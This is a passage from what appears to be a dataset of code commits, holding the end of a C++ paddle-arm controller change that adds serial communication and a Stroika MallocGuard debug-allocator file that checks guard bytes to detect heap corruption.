sigmapRef*psipRef*sin(psiRef);\n\n\treturn  -(kappa0 + kappa1*Htilde)*psiRef + kappa00*(rhoRef - rhoBar) + kappa01*rhopRef;\n}\n\n\nvoid Controller::controlArm()\n{\n\n\t\/**********************************************\/\n\t\/* Insert motor control commands from here on *\/\n\n\t\/\/ Get the Current Position\n\t\/\/motor.getPosition(pPosition);\t\t\/\/ Read Motor Position\n\n\tdouble TargetPositionRad = this->computeDesiredPaddlePosition();\t\t\/\/ Need conversion to ticks or something here.\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ std::cout << \"I'm commanding \" << TargetPositionRad << \"[rad] to the motor.\\n\";\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\twhile (!pTargetReached)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/motor.getPositionRad(&pPositionRad);\t\t\/\/ Read Motor Position\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/motor.moveToPositionRad(TargetPositionRad, Absolute, Immediately);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/motor.getMovementState(&pTargetReached, &pErrorCode);\n\n\tmotorObj.setDesiredMotorPosition(TargetPositionRad);\n\n\tsentNumber.floatingPoint = 90.12f;\n\tuint8_t endMessage = 0x0A;\t\t\t\t\t\/\/New Line Character in Hex.\n\tsize_t bytes_wrote;\n\tsize_t bytes_read = 0;\n\n\t\/\/for (int count = 0; count < 1000; count++) {\n\t\tbytes_wrote = my_serial.write(sentNumber.binary, FLOATSIZE);\n\t\t\/\/my_serial.write(&endMessage, 1);\n\n\t\t\/\/bytes_read = my_serial.read(incomingData, FLOATSIZE);\n\n\t\t\/\/ for (int i = 1; i < FLOATSIZE; i++)\n\t\t\t\/\/ receivedNumber.binary[i] = incomingData[i];\n\n\t\t\/\/cout << \"Iteration: \" << count << \", Bytes written: \";\n\t\t\/\/cout << bytes_wrote << \", What is sent: \" << sentNumber.floatingPoint << \", Bytes read: \";\n\t\t\/\/cout << bytes_read << \", What is read: \" << receivedNumber.floatingPoint << endl;\n\t\/\/}\n\n\n\t\/\/std::cout << \"Exiting commandMotor(double, double, double, double)\\n\";\n\n\t\/\/\t}\n\t\/* End of motor commands *\/\n\t\/*************************\/\n}\n<commit_msg>write and read serial in controller<commit_after>#include \"Controller.h\"\n#include <iostream>\n\nController::Controller():\n\tmy_serial(port, baud, serial::Timeout::simpleTimeout(timeOut))\n{\n\tsigmaRef = 0.0;\n\tpsiRef = 0.0;\n\n\tJRigidInv << 0, 0,\n\t\t\t\t 0, 0;\n\t\n\txip(0) = 0.0;\n\txip(1) = 0.0;\n\n\tqpRef = JRigidInv*xip;\n\n\tpsipRef = qpRef(0);\n\tsigmapRef = qpRef(1);\n\n\tH = 1 \/ 2 * pow(0.0, 2) + g*sin(beta)*0.0;\n\tHref = getReferenceEnergy();\n\tHtilde = H - Href;\n\n\tthis->init();\n\n}\n\n\/\/ Controller::Controller(double x, double z, double xp, double zp)\n\/\/ {\n\t\/\/JRigidInv.resize(2, 2);\n\t\/\/xip.resize(2, 1);\n\t\/\/qpRef.resize(2, 1);\n\t\n\t\/\/sigmaRef = sqrt(-pow(r, 2) + pow(ox - x, 2) + pow(oz - z, 2));\n\t\/\/psiRef = atan2((oz - z)*sigmaRef + r*(x - ox), (x - ox)*sigmaRef + r*(z - oz));\n\n\t\/\/JRigidInv(0,0) = (ox*r - r*x + sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2))*(-oz + z)) \/\n\t\/\/\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\t\/\/JRigidInv(0, 1) = (oz*r + (ox - x)*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)) - r*z) \/\n\t\/\/\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\t\/\/JRigidInv(1, 0) = (-ox + x) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n\n\t\/\/JRigidInv(1,1) = (-oz + z) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n\n\t\/\/xip(0) = xp;\n\t\/\/xip(1) = zp;\n\n\t\/\/qpRef = JRigidInv*xip;\n\n\t\/\/psipRef = qpRef(0);\n\t\/\/sigmapRef = qpRef(1);\n\n\t\/\/H = 1 \/ 2 * pow(zp, 2) + g*sin(beta)*z;\n\t\/\/Href = getReferenceEnergy();\n\t\/\/Htilde = H - Href;\n\n\n\/\/}\n\nController::~Controller()\n{\n\n}\n\n\nvoid Controller::init()\n{\n\/\/ create a motor object\n\nstd::cout << \"Controller Init, Thread :: ID = \" << std::this_thread::get_id() << std::endl;\n\nint motorSetPosition = 0;\n\/\/std::cout << \"In Main Thread : Before Thread Start motorSetPosition = \" << motorSetPosition << std::endl;\n\n\nstd::cout << \"Start Motor Thread\" << std::endl;\n\/\/ ToDo: get a handle on that thread\nstd::thread threadObj(&MotorDriver::motor_control_thread_function, &this->motorObj, std::ref(motorSetPosition));\nif (threadObj.joinable())\n{\n\t\/\/threadObj.join();\n\t\/\/std::cout << \"Joined Thread \" << std::endl;\n\tstd::cout << \"Detaching Thread \" << std::endl;\n\tthreadObj.detach();\n}\n\n\/\/\/\/ port, baudrate, timeout in milliseconds\n\/\/my_serial.setBaudrate(baud);\n\/\/my_serial.setPort(port);\n\/\/my_serial.setTimeout(serial::Timeout::max(), timeOut, 0, timeOut, 0);\n\ncout << \"Is the serial port open?\";\nif (my_serial.isOpen())\ncout << \" Yes.\" << endl;\nelse\ncout << \" No.\" << endl;\n\n\/\/std::cout << \"In Main Thread : After Thread Joins motorSetPosition = \" << motorSetPosition << std::endl;\n\n}\nVector2d Controller::getBallPosition()\n{\n\treturn Vector2d(x, z);\n}\n\nvoid Controller::setBallPosition(double a, double b)\n{\n\tx = a;\n\tz = b;\n}\n\nVector2d Controller::getBallVelocity()\n{\n\treturn Vector2d(xp, zp);\n}\n\nvoid Controller::setBallVelocity(double a, double b)\n{\n\txp = a;\n\tzp = b;\n}\n\n\ndouble Controller::getReferenceEnergy()\n{\n\treturn Href;\n}\n\nvoid Controller::setReferenceEnergy(double referenceEnergy)\n{\n\tHref = referenceEnergy;\n}\n\ndouble Controller::computeVerticalEnergy()\n{\n\treturn 1 \/ 2 * pow(zp, 2) + g*sin(beta)*z;\n}\n\nvoid Controller::computeJacobianInverse()\n{\n\tJRigidInv(0, 0) = (ox*r - r*x + sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2))*(-oz + z)) \/\n\t\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\tJRigidInv(0, 1) = (oz*r + (ox - x)*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)) - r*z) \/\n\t\t((pow(ox - x, 2) + pow(oz - z, 2))*sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2)));\n\n\tJRigidInv(1, 0) = (-ox + x) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n\n\tJRigidInv(1, 1) = (-oz + z) \/ sqrt(pow(ox, 2) - pow(r, 2) - 2 * ox*x + pow(x, 2) + pow(oz - z, 2));\n}\n\n\nvoid Controller::updateReferencePosition()\n{\n\tsigmaRef = sqrt(-pow(r, 2) + pow(ox - x, 2) + pow(oz - z, 2));\n\tpsiRef = atan2((oz - z)*sigmaRef + r*(x - ox), (x - ox)*sigmaRef + r*(z - oz));\n}\n\n\nvoid Controller::updateReferenceVelocity()\n{\n\tcomputeJacobianInverse();\n\tVector2d xip(xp, zp);\n\tVector2d refVel = JRigidInv*xip;\n\n\tpsipRef = refVel(0);\n\tsigmapRef = refVel(1);\n}\n\n\n\ndouble Controller::computeDesiredPaddlePosition()\n{\n\tdouble rhoBar = ox;\n\tdouble rhoRef = 0.0;\n\tdouble rhopRef = 0.0;\n\n\tH = computeVerticalEnergy();\n\tHtilde = H - Href;\n\n\tupdateReferencePosition();\n\tupdateReferenceVelocity();\n\n\trhoRef = sigmaRef*cos(psiRef);\n\trhopRef = sigmapRef*cos(psiRef) - sigmapRef*psipRef*sin(psiRef);\n\n\treturn  -(kappa0 + kappa1*Htilde)*psiRef + kappa00*(rhoRef - rhoBar) + kappa01*rhopRef;\n}\n\n\nvoid Controller::controlArm()\n{\n\n\t\/**********************************************\/\n\t\/* Insert motor control commands from here on *\/\n\n\t\/\/ Get the Current Position\n\t\/\/motor.getPosition(pPosition);\t\t\/\/ Read Motor Position\n\n\tdouble TargetPositionRad = this->computeDesiredPaddlePosition();\t\t\/\/ Need conversion to ticks or something here.\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/ std::cout << \"I'm commanding \" << TargetPositionRad << \"[rad] to the motor.\\n\";\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\twhile (!pTargetReached)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/motor.getPositionRad(&pPositionRad);\t\t\/\/ Read Motor Position\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/motor.moveToPositionRad(TargetPositionRad, Absolute, Immediately);\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/motor.getMovementState(&pTargetReached, &pErrorCode);\n\n\tmotorObj.setDesiredMotorPosition(TargetPositionRad);\n\n\tsentNumber.floatingPoint = 90.12f;\n\tuint8_t endMessage = 0x0A;\t\t\t\t\t\/\/New Line Character in Hex.\n\tsize_t bytes_wrote;\n\tsize_t bytes_read = 0;\n\n\t\/\/for (int count = 0; count < 1000; count++) {\n\t\tbytes_wrote = my_serial.write(sentNumber.binary, FLOATSIZE);\n\t\tmy_serial.write(&endMessage, 1);\n\n\t\tbytes_read = my_serial.read(incomingData, FLOATSIZE);\n\n\t\t for (int i = 1; i < FLOATSIZE; i++)\n\t\t\treceivedNumber.binary[i] = incomingData[i];\n\n\t\tcout << \"Bytes written: \";\n\t\tcout << bytes_wrote << \", What is sent: \" << sentNumber.floatingPoint << \", Bytes read: \";\n\t\tcout << bytes_read << \", What is read: \" << receivedNumber.floatingPoint << endl;\n\t\/\/}\n\n\n\t\/\/std::cout << \"Exiting commandMotor(double, double, double, double)\\n\";\n\n\t\/\/\t}\n\t\/* End of motor commands *\/\n\t\/*************************\/\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2016.  All rights reserved\n *\/\n#include    \"..\/StroikaPreComp.h\"\n\n#include    <exception>\n#include    <malloc.h>\n\n#if     qPlatform_POSIX\n#include    <unistd.h>\n#endif\n\n#include    \"..\/Memory\/Common.h\"\n\n#include    \"MallocGuard.h\"\n\n\n\nusing   namespace   Stroika::Foundation;\nusing   Memory::Byte;\n\n\n#if     qStroika_Foundation_Debug_MallocGuard\nnamespace {\n    using   GuradBytes_ =   Byte[16];\n    constexpr   GuradBytes_ kMallocGuardHeader_ =   { 0xf3, 0xfa, 0x0b, 0x93, 0x48, 0x50, 0x46, 0xe6, 0x22, 0xf1, 0xfa, 0xc0, 0x9a, 0x0b, 0xeb, 0x23, };\n    constexpr   GuradBytes_ kMallocGuardFooter_ =   { 0x07, 0x41, 0xa4, 0x2b, 0xba, 0x97, 0xcb, 0x38, 0x46, 0x1e, 0x3c, 0x42, 0x3c, 0x5f, 0x0c, 0x80, };\n    constexpr   Byte        kDeadMansLand_[]    =   { 0x1d, 0xb6, 0x20, 0x27, 0x43, 0x7a, 0x3d, 0x1a, 0x13, 0x65, };\n\n    \/\/ need header with size, so we can ....\n    struct alignas(alignof(long double))  HeaderOrFooter_ {\n        GuradBytes_ fGuard;\n        size_t      fRequestedBlockSize;\n    };\n\n\n    void    OhShit_ ()\n    {\n        static  bool    sDone_      { false };      \/\/ doing terminate MIGHT allocate more memory ... just go with the flow if that happens - and dont re-barf (e.g. allow backtrace if possible)\n        if (not sDone_) {\n            sDone_ = true;\n            const char  kMsg_[] =   \"Fatal Error detected in Stroika Malloc Guard\\n\";\n            ::write (2, kMsg_, NEltsOf (kMsg_));\n            std::terminate ();\n        }\n    }\n\n\n    void*   ExposedPtrToBackendPtr_ (void* p)\n    {\n        if (p == nullptr) {\n            OhShit_ ();\n        }\n        return reinterpret_cast<HeaderOrFooter_*> (p) - 1;\n    }\n    void*   BackendPtrToExposedPtr_ (void* p)\n    {\n        if (p == nullptr) {\n            OhShit_ ();\n        }\n        return reinterpret_cast<HeaderOrFooter_*> (p) + 1;\n    }\n    size_t  AdjustMallocSize_ (size_t s)\n    {\n        return s + 2 * sizeof (HeaderOrFooter_);\n    }\n\n    bool    IsDeadMansLand_ (const Byte* s, const Byte* e)\n    {\n        return false;\n    }\n    void    SetDeadMansLand_ (Byte* s, Byte* e)\n    {\n        const   Byte*   pBadFillStart   =   begin (kDeadMansLand_);\n        const   Byte*   pBadFillEnd     =   end (kDeadMansLand_);\n        const   Byte*   badFillI        =   pBadFillStart;\n        for (Byte* oi = s; oi != e; ++oi) {\n            *oi = *badFillI;\n            badFillI++;\n            if (badFillI == pBadFillEnd) {\n                badFillI = pBadFillStart;\n            }\n        }\n    }\n    void    SetDeadMansLand_ (void* p)\n    {\n        const HeaderOrFooter_*  hp  =   reinterpret_cast<const HeaderOrFooter_*> (p);\n        SetDeadMansLand_ (reinterpret_cast<Byte*> (p), reinterpret_cast<Byte*> (p) + AdjustMallocSize_ (hp->fRequestedBlockSize));\n    }\n\n    \/*\n     *  not 100% threadsafe, but OK.\n     *\n     *  Also FreeList alway uses BackendPtr - not ExternalPtr\n     *\/\n    void*   sFreeList_[100];\n    void**  sFreeList_NextFreeI_    =   &sFreeList_[0];\n    void    Add2FreeList_ (void* p)\n    {\n        *sFreeList_NextFreeI_ = p;\n        void**  next = sFreeList_NextFreeI_ + 1;\n        if (next >= end (sFreeList_)) {\n            next = begin (sFreeList_);\n        }\n        sFreeList_NextFreeI_ = next;    \/\/ race in that we could SKIP recording a free element, but thats harmless - just a missed opportunity to detect an error\n    }\n    void    ClearFromFreeList_ (void* p)\n    {\n        \/\/ not a race because you cannot free and allocate the same pointer at the same time\n        for (void** i = begin (sFreeList_); i != end (sFreeList_); ++i) {\n            if (*i == p) {\n                *i = nullptr;\n            }\n        }\n    }\n    bool    IsInFreeList_ (const void* p)\n    {\n        for (void** i = begin (sFreeList_); i != end (sFreeList_); ++i) {\n            if (*i == p) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    void    Validate_ (const HeaderOrFooter_& header, const HeaderOrFooter_& footer)\n    {\n        if (::memcmp (&header.fGuard, &kMallocGuardHeader_, sizeof (kMallocGuardHeader_)) != 0) {\n            OhShit_ ();\n        }\n        if (::memcmp (&footer.fGuard, &kMallocGuardFooter_, sizeof (kMallocGuardFooter_)) != 0) {\n            OhShit_ ();\n        }\n        if (header.fRequestedBlockSize != footer.fRequestedBlockSize) {\n            OhShit_ ();\n        }\n        \/\/ OK\n    }\n    void    ValidateBackendPtr_ (const void* p)\n    {\n        const HeaderOrFooter_*  hp  =   reinterpret_cast<const HeaderOrFooter_*> (p);\n        const HeaderOrFooter_*  fp  =   reinterpret_cast<const HeaderOrFooter_*> (reinterpret_cast<const Byte*> (hp + 1) + hp->fRequestedBlockSize);\n        HeaderOrFooter_ footer;\n        (void)::memcpy (&footer, fp, sizeof (footer));  \/\/ align access\n        Validate_ (*hp, footer);\n        if (IsInFreeList_ (p)) {\n            OhShit_ ();\n        }\n    }\n    void   PatchNewPointer_ (void* p, size_t requestedSize)\n    {\n        HeaderOrFooter_*  hp   =   reinterpret_cast< HeaderOrFooter_*> (p);\n        (void)::memcpy (begin (hp->fGuard), begin (kMallocGuardHeader_),  NEltsOf (kMallocGuardHeader_));\n        hp->fRequestedBlockSize = requestedSize;\n        HeaderOrFooter_*  fp  =    reinterpret_cast< HeaderOrFooter_*> (reinterpret_cast<Byte*> (hp + 1) + hp->fRequestedBlockSize);\n        (void)::memcpy (begin (fp->fGuard), begin (kMallocGuardFooter_),  NEltsOf (kMallocGuardFooter_));\n        fp->fRequestedBlockSize = requestedSize;\n    }\n}\n#endif\n\n\n#if     qStroika_Foundation_Debug_MallocGuard\n\nextern \"C\"  void    __libc_free (void* __ptr);\nextern \"C\"  void*   __libc_malloc (size_t __size);\nextern \"C\"  void*   __libc_realloc (void* __ptr, size_t __size);\nextern \"C\"  void*   __libc_calloc (size_t __nmemb, size_t __size);\nextern \"C\"  void    __libc_free (void* __ptr);\n\nextern \"C\"  void*   calloc (size_t __nmemb, size_t __size)\n{\n    size_t  n   =   __nmemb * __size;\n    void*   p   =   malloc (n);\n    (void)::memset (p, 0, n);\n    return p;\n}\n\nextern \"C\"  void    cfree (void* __ptr)\n{\n    free (__ptr);\n}\n\nextern \"C\"  void    free (void* __ptr)\n{\n    if (__ptr == nullptr) {\n        \/\/ according to http:\/\/linux.die.net\/man\/3\/free\n        \/\/ \"if ptr is NULL, no operation is performed.\" - and glibc does call this internally\n        return;\n    }\n    void*   p = ExposedPtrToBackendPtr_ (__ptr);\n    ValidateBackendPtr_ (p);\n    SetDeadMansLand_ (p);\n    Add2FreeList_ (p);\n    __libc_free (p);\n}\n\nextern \"C\"  void*   malloc (size_t __size)\n{\n    void*   p   =   __libc_malloc (AdjustMallocSize_ (__size));\n    PatchNewPointer_ (p, __size);\n    ClearFromFreeList_ (p);\n    ValidateBackendPtr_ (p);\n    if (p != nullptr) {\n        p = BackendPtrToExposedPtr_ (p);\n    }\n    return p;\n}\n\nextern \"C\"  void*    realloc (void* __ptr, size_t __size)\n{\n    if (__ptr == nullptr) {\n        \/\/ from http:\/\/linux.die.net\/man\/3\/realloc\n        \/\/ If ptr is NULL, then the call is equivalent to malloc(size),\n        return malloc (__size);\n    }\n    if (__ptr != nullptr and __size == 0) {\n        \/\/ from http:\/\/linux.die.net\/man\/3\/realloc\n        \/\/ if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr).\n        free (__ptr);\n        return nullptr;\n    }\n    void*   p   =   ExposedPtrToBackendPtr_ (__ptr);\n    ValidateBackendPtr_ (p);\n    size_t  n   =   AdjustMallocSize_ (__size);\n    void*   newP = __libc_realloc (p, n);\n    if (newP != nullptr) {\n        PatchNewPointer_ (newP, __size);\n        if (newP != p) {\n            \/\/Already been freed, so not safe to set at this point!!! - SetDeadMansLand_ (p);\n            Add2FreeList_ (p);\n            ClearFromFreeList_ (newP);\n        }\n        ValidateBackendPtr_ (newP);\n        newP = BackendPtrToExposedPtr_ (newP);\n    }\n    return newP;\n}\n\nextern \"C\"  void*   valloc (size_t __size)\n{\n    \/\/ http:\/\/linux.die.net\/man\/3\/valloc \"OBSOLETE\"\n    OhShit_ ();\n    return nullptr;\n}\n\nextern \"C\"  void*   pvalloc (size_t __size)\n{\n    \/\/ http:\/\/linux.die.net\/man\/3\/valloc \"OBSOLETE\"\n    OhShit_ ();\n    return nullptr;\n}\n\nextern \"C\"  void*   memalign (size_t __alignment, size_t __size)\n{\n    \/\/ http:\/\/linux.die.net\/man\/3\/valloc \"OBSOLETE\"\n    OhShit_ ();\n    return nullptr;\n}\n\nextern \"C\"  size_t malloc_usable_size (void* ptr)\n{\n    if (ptr == nullptr) {\n        return 0;\n    }\n    void*   p   =   ExposedPtrToBackendPtr_ (ptr);\n    ValidateBackendPtr_ (p);\n    const HeaderOrFooter_*  hp  =   reinterpret_cast<const HeaderOrFooter_*> (p);\n    return hp->fRequestedBlockSize;\n}\n\nextern \"C\"  int posix_memalign (void** memptr, size_t alignment, size_t size)\n{\n    \/\/ Probably SHOULD implement ... but so far not running into trouble cuz anything I link to calling this...\n    OhShit_ ();\n    return 0;\n}\n#endif\n<commit_msg>cosmetic<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2016.  All rights reserved\n *\/\n#include    \"..\/StroikaPreComp.h\"\n\n#include    <exception>\n#include    <malloc.h>\n\n#if     qPlatform_POSIX\n#include    <unistd.h>\n#endif\n\n#include    \"..\/Memory\/Common.h\"\n\n#include    \"MallocGuard.h\"\n\n\n\nusing   namespace   Stroika::Foundation;\nusing   Memory::Byte;\n\n\n#if     qStroika_Foundation_Debug_MallocGuard\nnamespace {\n    using   GuradBytes_ =   Byte[16];\n    constexpr   GuradBytes_ kMallocGuardHeader_ =   { 0xf3, 0xfa, 0x0b, 0x93, 0x48, 0x50, 0x46, 0xe6, 0x22, 0xf1, 0xfa, 0xc0, 0x9a, 0x0b, 0xeb, 0x23, };\n    constexpr   GuradBytes_ kMallocGuardFooter_ =   { 0x07, 0x41, 0xa4, 0x2b, 0xba, 0x97, 0xcb, 0x38, 0x46, 0x1e, 0x3c, 0x42, 0x3c, 0x5f, 0x0c, 0x80, };\n    constexpr   Byte        kDeadMansLand_[]    =   { 0x1d, 0xb6, 0x20, 0x27, 0x43, 0x7a, 0x3d, 0x1a, 0x13, 0x65, };\n\n\n    struct alignas(alignof(long double))  HeaderOrFooter_ {\n        GuradBytes_ fGuard;\n        size_t      fRequestedBlockSize;\n    };\n\n\n    void    OhShit_ ()\n    {\n        static  bool    sDone_      { false };      \/\/ doing terminate MIGHT allocate more memory ... just go with the flow if that happens - and dont re-barf (e.g. allow backtrace if possible)\n        if (not sDone_) {\n            sDone_ = true;\n            const char  kMsg_[] =   \"Fatal Error detected in Stroika Malloc Guard\\n\";\n            ::write (2, kMsg_, NEltsOf (kMsg_));\n            std::terminate ();\n        }\n    }\n\n\n    void*   ExposedPtrToBackendPtr_ (void* p)\n    {\n        if (p == nullptr) {\n            OhShit_ ();\n        }\n        return reinterpret_cast<HeaderOrFooter_*> (p) - 1;\n    }\n    void*   BackendPtrToExposedPtr_ (void* p)\n    {\n        if (p == nullptr) {\n            OhShit_ ();\n        }\n        return reinterpret_cast<HeaderOrFooter_*> (p) + 1;\n    }\n    size_t  AdjustMallocSize_ (size_t s)\n    {\n        return s + 2 * sizeof (HeaderOrFooter_);\n    }\n\n\n    bool    IsDeadMansLand_ (const Byte* s, const Byte* e)\n    {\n        return false;\n    }\n    void    SetDeadMansLand_ (Byte* s, Byte* e)\n    {\n        const   Byte*   pBadFillStart   =   begin (kDeadMansLand_);\n        const   Byte*   pBadFillEnd     =   end (kDeadMansLand_);\n        const   Byte*   badFillI        =   pBadFillStart;\n        for (Byte* oi = s; oi != e; ++oi) {\n            *oi = *badFillI;\n            badFillI++;\n            if (badFillI == pBadFillEnd) {\n                badFillI = pBadFillStart;\n            }\n        }\n    }\n    void    SetDeadMansLand_ (void* p)\n    {\n        const HeaderOrFooter_*  hp  =   reinterpret_cast<const HeaderOrFooter_*> (p);\n        SetDeadMansLand_ (reinterpret_cast<Byte*> (p), reinterpret_cast<Byte*> (p) + AdjustMallocSize_ (hp->fRequestedBlockSize));\n    }\n\n\n    \/*\n     *  not 100% threadsafe, but OK.\n     *\n     *  Also FreeList alway uses BackendPtr - not ExternalPtr\n     *\/\n    void*   sFreeList_[100];\n    void**  sFreeList_NextFreeI_    =   &sFreeList_[0];\n    void    Add2FreeList_ (void* p)\n    {\n        *sFreeList_NextFreeI_ = p;\n        void**  next = sFreeList_NextFreeI_ + 1;\n        if (next >= end (sFreeList_)) {\n            next = begin (sFreeList_);\n        }\n        sFreeList_NextFreeI_ = next;    \/\/ race in that we could SKIP recording a free element, but thats harmless - just a missed opportunity to detect an error\n    }\n    void    ClearFromFreeList_ (void* p)\n    {\n        \/\/ not a race because you cannot free and allocate the same pointer at the same time\n        for (void** i = begin (sFreeList_); i != end (sFreeList_); ++i) {\n            if (*i == p) {\n                *i = nullptr;\n            }\n        }\n    }\n    bool    IsInFreeList_ (const void* p)\n    {\n        for (void** i = begin (sFreeList_); i != end (sFreeList_); ++i) {\n            if (*i == p) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n\n    void    Validate_ (const HeaderOrFooter_& header, const HeaderOrFooter_& footer)\n    {\n        if (::memcmp (&header.fGuard, &kMallocGuardHeader_, sizeof (kMallocGuardHeader_)) != 0) {\n            OhShit_ ();\n        }\n        if (::memcmp (&footer.fGuard, &kMallocGuardFooter_, sizeof (kMallocGuardFooter_)) != 0) {\n            OhShit_ ();\n        }\n        if (header.fRequestedBlockSize != footer.fRequestedBlockSize) {\n            OhShit_ ();\n        }\n        \/\/ OK\n    }\n    void    ValidateBackendPtr_ (const void* p)\n    {\n        const HeaderOrFooter_*  hp  =   reinterpret_cast<const HeaderOrFooter_*> (p);\n        const HeaderOrFooter_*  fp  =   reinterpret_cast<const HeaderOrFooter_*> (reinterpret_cast<const Byte*> (hp + 1) + hp->fRequestedBlockSize);\n        HeaderOrFooter_ footer;\n        (void)::memcpy (&footer, fp, sizeof (footer));  \/\/ align access\n        Validate_ (*hp, footer);\n        if (IsInFreeList_ (p)) {\n            OhShit_ ();\n        }\n    }\n\n\n    void   PatchNewPointer_ (void* p, size_t requestedSize)\n    {\n        HeaderOrFooter_*  hp   =   reinterpret_cast< HeaderOrFooter_*> (p);\n        (void)::memcpy (begin (hp->fGuard), begin (kMallocGuardHeader_),  NEltsOf (kMallocGuardHeader_));\n        hp->fRequestedBlockSize = requestedSize;\n        HeaderOrFooter_*  fp  =    reinterpret_cast< HeaderOrFooter_*> (reinterpret_cast<Byte*> (hp + 1) + hp->fRequestedBlockSize);\n        (void)::memcpy (begin (fp->fGuard), begin (kMallocGuardFooter_),  NEltsOf (kMallocGuardFooter_));\n        fp->fRequestedBlockSize = requestedSize;\n    }\n}\n#endif\n\n\n#if     qStroika_Foundation_Debug_MallocGuard\n\nextern \"C\"  void    __libc_free (void* __ptr);\nextern \"C\"  void*   __libc_malloc (size_t __size);\nextern \"C\"  void*   __libc_realloc (void* __ptr, size_t __size);\nextern \"C\"  void*   __libc_calloc (size_t __nmemb, size_t __size);\nextern \"C\"  void    __libc_free (void* __ptr);\n\nextern \"C\"  void*   calloc (size_t __nmemb, size_t __size)\n{\n    size_t  n   =   __nmemb * __size;\n    void*   p   =   malloc (n);\n    (void)::memset (p, 0, n);\n    return p;\n}\n\nextern \"C\"  void    cfree (void* __ptr)\n{\n    free (__ptr);\n}\n\nextern \"C\"  void    free (void* __ptr)\n{\n    if (__ptr == nullptr) {\n        \/\/ according to http:\/\/linux.die.net\/man\/3\/free\n        \/\/ \"if ptr is NULL, no operation is performed.\" - and glibc does call this internally\n        return;\n    }\n    void*   p = ExposedPtrToBackendPtr_ (__ptr);\n    ValidateBackendPtr_ (p);\n    SetDeadMansLand_ (p);\n    Add2FreeList_ (p);\n    __libc_free (p);\n}\n\nextern \"C\"  void*   malloc (size_t __size)\n{\n    void*   p   =   __libc_malloc (AdjustMallocSize_ (__size));\n    PatchNewPointer_ (p, __size);\n    ClearFromFreeList_ (p);\n    ValidateBackendPtr_ (p);\n    if (p != nullptr) {\n        p = BackendPtrToExposedPtr_ (p);\n    }\n    return p;\n}\n\nextern \"C\"  void*    realloc (void* __ptr, size_t __size)\n{\n    if (__ptr == nullptr) {\n        \/\/ from http:\/\/linux.die.net\/man\/3\/realloc\n        \/\/ If ptr is NULL, then the call is equivalent to malloc(size),\n        return malloc (__size);\n    }\n    if (__ptr != nullptr and __size == 0) {\n        \/\/ from http:\/\/linux.die.net\/man\/3\/realloc\n        \/\/ if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr).\n        free (__ptr);\n        return nullptr;\n    }\n    void*   p   =   ExposedPtrToBackendPtr_ (__ptr);\n    ValidateBackendPtr_ (p);\n    size_t  n   =   AdjustMallocSize_ (__size);\n    void*   newP = __libc_realloc (p, n);\n    if (newP != nullptr) {\n        PatchNewPointer_ (newP, __size);\n        if (newP != p) {\n            \/\/Already been freed, so not safe to set at this point!!! - SetDeadMansLand_ (p);\n            Add2FreeList_ (p);\n            ClearFromFreeList_ (newP);\n        }\n        ValidateBackendPtr_ (newP);\n        newP = BackendPtrToExposedPtr_ (newP);\n    }\n    return newP;\n}\n\nextern \"C\"  void*   valloc (size_t __size)\n{\n    \/\/ http:\/\/linux.die.net\/man\/3\/valloc \"OBSOLETE\"\n    OhShit_ ();\n    return nullptr;\n}\n\nextern \"C\"  void*   pvalloc (size_t __size)\n{\n    \/\/ http:\/\/linux.die.net\/man\/3\/valloc \"OBSOLETE\"\n    OhShit_ ();\n    return nullptr;\n}\n\nextern \"C\"  void*   memalign (size_t __alignment, size_t __size)\n{\n    \/\/ http:\/\/linux.die.net\/man\/3\/valloc \"OBSOLETE\"\n    OhShit_ ();\n    return nullptr;\n}\n\nextern \"C\"  size_t malloc_usable_size (void* ptr)\n{\n    if (ptr == nullptr) {\n        return 0;\n    }\n    void*   p   =   ExposedPtrToBackendPtr_ (ptr);\n    ValidateBackendPtr_ (p);\n    const HeaderOrFooter_*  hp  =   reinterpret_cast<const HeaderOrFooter_*> (p);\n    return hp->fRequestedBlockSize;\n}\n\nextern \"C\"  int posix_memalign (void** memptr, size_t alignment, size_t size)\n{\n    \/\/ Probably 